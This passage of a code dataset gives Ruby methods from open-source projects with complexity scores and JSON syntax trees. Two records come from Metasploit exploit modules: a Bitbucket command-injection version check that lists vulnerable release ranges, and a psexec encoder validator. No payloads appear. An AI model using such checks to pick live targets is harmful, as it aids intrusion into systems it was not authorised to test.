end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"calculated_value_errors\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"customized\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"custom_field\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"missing_custom_field_ids\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"calculated_value_errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"customized_type\"]},{\"type\":\"sym\",\"children\":[\"customized_id\"]},{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"sym\",\"children\":[\"error_code\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_unique_calc_val_error_per_customized_and_cf\"]}]}]}]}]}]}","id":"e394afdd-141a-43c1-9ccc-a694f29e99e5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/relations/concerns/rescheduling.rb","start_line":33,"raw_source":"def reschedule_successor(relation)\n      schedule_result = WorkPackages::SetScheduleService\n                        .new(user:,\n                             work_package: relation.successor,\n                             switching_to_automatic_mode: switching_to_automatic_mode(relation))\n                        .call\n\n      # The schedule service does not save by itself. Dependent results must be saved.\n      save_result = if schedule_result.success?\n                      schedule_result.dependent_results\n                                     .map(&:result)\n                                     .filter(&:changed?)\n                                     .all? { |work_package| work_package.save(validate: false) }\n                    end\n\n      schedule_result.success = save_result || false\n\n      schedule_result\n    end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reschedule_successor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schedule_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"SetScheduleService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"successor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"switching_to_automatic_mode\"]},{\"type\":\"send\",\"children\":[null,\"switching_to_automatic_mode\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"save_result\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule_result\"]},\"success?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule_result\"]},\"dependent_results\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]}]}]},\"filter\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"changed?\"]}]}]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schedule_result\"]},\"success=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"save_result\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"schedule_result\"]}]}]}","id":"36445245-87c1-4d3c-9fbf-3df6250726f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/verifies_with_email.rb","start_line":88,"raw_source":"def successful_verification\n    session.delete(:verification_user_id)\n    @redirect_url = after_sign_in_path_for(current_user) # rubocop:disable Gitlab/ModuleWithInstanceVariables\n\n    render layout: 'minimal'\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"successful_verification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"verification_user_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@redirect_url\",{\"type\":\"send\",\"children\":[null,\"after_sign_in_path_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"minimal\"]}]}]}]}]}]}","id":"9ed267ae-1166-4f20-a65d-86b3844e8725"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":1252,"raw_source":"def validate_timestamp_column_name!(column_name)\n        return if column_name.to_s.end_with?('_at')\n\n        raise <<~MESSAGE\n          Illegal timestamp column name! Got #{column_name}.\n          Must end with `_at`}\n        MESSAGE\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_timestamp_column_name!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"to_s\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"_at\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Illegal timestamp column name! Got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]}]},{\"type\":\"str\",\"children\":[\".\\n\"]},{\"type\":\"str\",\"children\":[\"Must end with `_at`}\\n\"]}]}]}]}]}","id":"114cba05-8947-4737-8114-1ed4628e0e1b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event.rb","start_line":162,"raw_source":"def initialize(time_array = [], record_array = [])\n      @time_array = time_array\n      @record_array = record_array\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time_array\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"record_array\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@time_array\",{\"type\":\"lvar\",\"children\":[\"time_array\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record_array\",{\"type\":\"lvar\",\"children\":[\"record_array\"]}]}]}]}","id":"54be61d6-938b-4daf-b796-dc037fe93373"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations_controller.rb","start_line":122,"raw_source":"def custom_attributes\n    @conversation.custom_attributes = params.permit(custom_attributes: {})[:custom_attributes]\n    @conversation.save!\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"custom_attributes=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_attributes\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"save!\"]}]}]}","id":"5cf8a197-72ff-4eeb-aa9c-4942767a49ce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/bitbucket_git_cmd_injection.rb","start_line":86,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'keep_cookies' => true,\n      'uri' => normalize_uri(target_uri.path, 'login')\n    )\n\n    return CheckCode::Unknown('Failed to receive response from application') unless res\n\n    unless res.body.include?('Bitbucket')\n      return CheckCode::Safe('Target does not appear to be Bitbucket')\n    end\n\n    footer = res.get_html_document&.at('footer')\n    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer\n\n    version_str = footer.at('span')&.children&.text\n    return CheckCode::Detected('Cannot find version string in footer') unless version_str\n\n    matches = version_str.match(/v(\\d+\\.\\d+\\.\\d+)/)\n    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1\n\n    version_str = matches[1]\n    vprint_status(\"Found Bitbucket version: #{matches[1]}\")\n\n    num_vers = Rex::Version.new(version_str)\n    return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')\n\n    major, minor, revision = version_str.split('.')\n    case major\n    when '6'\n      return CheckCode::Appears\n    when '7'\n      case minor\n      when '6'\n        return CheckCode::Appears if revision.to_i < 17\n      when '17'\n        return CheckCode::Appears if revision.to_i < 10\n      when '21'\n        return CheckCode::Appears if revision.to_i < 4\n      end\n    when '8'\n      case minor\n      when '0', '1'\n        return CheckCode::Appears if revision.to_i < 3\n      when '2'\n        return CheckCode::Appears if revision.to_i < 2\n      when '3'\n        return CheckCode::Appears if revision.to_i < 1\n      end\n    end\n\n    CheckCode::Detected\n  end","complexity_score":91.18,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Failed to receive response from application\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Bitbucket\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target does not appear to be Bitbucket\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"footer\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"footer\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"footer\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Cannot determine version of Bitbucket\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version_str\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"footer\"]},\"at\",{\"type\":\"str\",\"children\":[\"span\"]}]},\"children\"]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_str\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Cannot find version string in footer\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_str\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"v(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"str\",\"children\":[\"Version unknown\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Bitbucket version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"num_vers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version_str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_vers\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"6.10.17\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"NotVulnerable\"]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\"]},{\"type\":\"lvasgn\",\"children\":[\"minor\"]},{\"type\":\"lvasgn\",\"children\":[\"revision\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_str\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"6\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"7\"]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"6\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"17\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"21\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"8\"]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"2\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revision\"]},\"to_i\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]}]},null]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]}]}","id":"b0f6e2e2-ee47-422a-8853-b0d6d8f2cd51"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration_spec.rb","start_line":2317,"raw_source":"def self.extended(host)\n          raise \"extended again\" if host.respond_to?(:foobar)\n          def host.foobar; end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"foobar\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"extended again\"]}]},null]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"foobar\",{\"type\":\"args\",\"children\":[]},null]}]}]}","id":"39d23ad2-00fb-41a9-bc53-feb1c61e19c9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/email_log.rb","start_line":77,"raw_source":"def self.count_per_day(start_date, end_date)\n    where(\"created_at BETWEEN ? AND ?\", start_date, end_date)\n      .group(\"DATE(created_at)\")\n      .order(\"DATE(created_at)\")\n      .count\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"count_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"str\",\"children\":[\"created_at BETWEEN ? AND ?\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"DATE(created_at)\"]}]},\"count\"]}]}","id":"99ffcafd-ae93-4b50-993c-a2e2e3640788"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/request_context.rb","start_line":57,"raw_source":"def enabled?\n      !Rails.env.test?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},\"!\"]}]}","id":"b169fa5a-5936-48e9-a9dc-5ae06b29a555"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_token.rb","start_line":184,"raw_source":"def prefix_for_deploy_token\n    self.class.prefix_for_deploy_token\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix_for_deploy_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"prefix_for_deploy_token\"]}]}","id":"2b735e31-c5f4-4179-98e4-62d8786a1178"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/psexec.rb","start_line":116,"raw_source":"def validate_service_stub_encoder!\n    service_encoder = datastore['SERVICE_STUB_ENCODER']\n    return if service_encoder.nil? || service_encoder.empty?\n\n    encoder = framework.encoders[service_encoder]\n    if encoder.nil?\n      raise Msf::OptionValidateError.new(\n        {\n          'SERVICE_STUB_ENCODER' => \"Failed to find encoder #{service_encoder.inspect}\"\n        }\n      )\n    end\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_service_stub_encoder!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_encoder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SERVICE_STUB_ENCODER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_encoder\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_encoder\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"encoder\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"encoders\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"service_encoder\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoder\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SERVICE_STUB_ENCODER\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to find encoder \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_encoder\"]},\"inspect\"]}]}]}]}]}]}]},null]}]}]}","id":"fdef3879-b1ac-444b-9a5e-04dc181cd37d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/issuable_escalation_statuses/after_update_service.rb","start_line":34,"raw_source":"def add_timeline_event\n        return unless escalation_status.status_previously_changed?\n\n        IncidentManagement::TimelineEvents::CreateService\n          .change_incident_status(issuable, current_user, escalation_status)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_timeline_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escalation_status\"]},\"status_previously_changed?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncidentManagement\"]},\"TimelineEvents\"]},\"CreateService\"]},\"change_incident_status\",{\"type\":\"send\",\"children\":[null,\"issuable\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"escalation_status\"]}]}]}]}","id":"63b4eeeb-61f2-4d00-b86c-6c7598c5be99"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/methods.rb","start_line":16,"raw_source":"def parameters\n          argslist.components\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"argslist\"]},\"components\"]}]}","id":"e4ba6105-c875-450a-a989-7c7395c2f754"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/liquid/custom_filters.rb","start_line":30,"raw_source":"def to_datetime(input, existing_date_format)\n      return input if input.blank?\n\n      DateTime.strptime(input, existing_date_format)&.iso8601\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"to_datetime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]},{\"type\":\"arg\",\"children\":[\"existing_date_format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"lvar\",\"children\":[\"existing_date_format\"]}]},\"iso8601\"]}]}]}","id":"e2169f5f-6c30-4071-9da4-4a5079a8e025"}
